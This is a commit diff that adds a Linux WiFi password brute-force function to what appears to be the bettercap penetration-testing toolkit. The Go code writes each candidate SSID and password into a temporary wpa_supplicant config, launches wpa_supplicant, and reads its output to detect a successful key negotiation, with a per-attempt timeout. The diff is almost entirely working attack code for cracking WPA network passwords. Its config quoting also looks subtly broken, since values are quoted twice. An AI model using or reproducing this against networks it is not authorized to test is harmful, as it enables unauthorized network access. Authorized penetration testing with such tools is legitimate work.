new: implemented wifi.bruteforce for linux (closes #1075)

modules/wifi/wifi_bruteforce_linux.go

@@ -1,7 +1,97 @@
 package wifi
 
-import "errors"
+import (
+	"bufio"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
 
 func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
-	return false, errors.New("TODO")
+	wpa_supplicant, err := exec.LookPath("wpa_supplicant")
+	if err != nil {
+		return false, errors.New("could not find wpa_supplicant in $PATH")
+	}
+
+	config := fmt.Sprintf(`network={
+		ssid="%s"
+		psk="%s"
+	}`, strconv.Quote(job.essid), strconv.Quote(job.password))
+
+	file, err := os.CreateTemp("", "bettercap-wpa-config")
+	if err != nil {
+		return false, fmt.Errorf("could not create temporary configuration file: %v", err)
+	}
+	defer os.Remove(file.Name())
+
+	if _, err := file.WriteString(config); err != nil {
+		return false, fmt.Errorf("could not write temporary configuration file: %v", err)
+	}
+
+	mod.Debug("using %s ...", file.Name())
+
+	args := []string{
+		"-i",
+		job.iface,
+		"-c",
+		file.Name(),
+	}
+	cmd := exec.Command(wpa_supplicant, args...)
+	cmdReader, err := cmd.StdoutPipe()
+	if err != nil {
+		return false, err
+	}
+
+	scanner := bufio.NewScanner(cmdReader)
+	done := make(chan bool)
+	go func() {
+		auth := false
+		for scanner.Scan() {
+			line := strings.ToLower(str.Trim(scanner.Text()))
+			if strings.Contains(line, "handshake failed") {
+				mod.Debug("%s", tui.Red(line))
+				break
+			} else if strings.Contains(line, "key negotiation completed") {
+				mod.Debug("%s", tui.Bold(tui.Green(line)))
+				auth = true
+				break
+			} else {
+				mod.Debug("%s", tui.Dim(line))
+			}
+		}
+		if auth {
+			mod.Debug("success: %v", job)
+		}
+		done <- auth
+	}()
+
+	if err := cmd.Start(); err != nil {
+		return false, err
+	}
+
+	timeout := time.After(job.timeout)
+	doneInTime := make(chan bool)
+	go func() {
+		doneInTime <- <-done
+	}()
+
+	select {
+	case <-timeout:
+		mod.Debug("%s timeout", job.password)
+		// make sure the process is killed
+		cmd.Process.Kill()
+		return false, nil
+	case res := <-doneInTime:
+		mod.Debug("%s=%v", job.password, res)
+		// make sure the process is killed
+		cmd.Process.Kill()
+		return res, nil
+	}
 }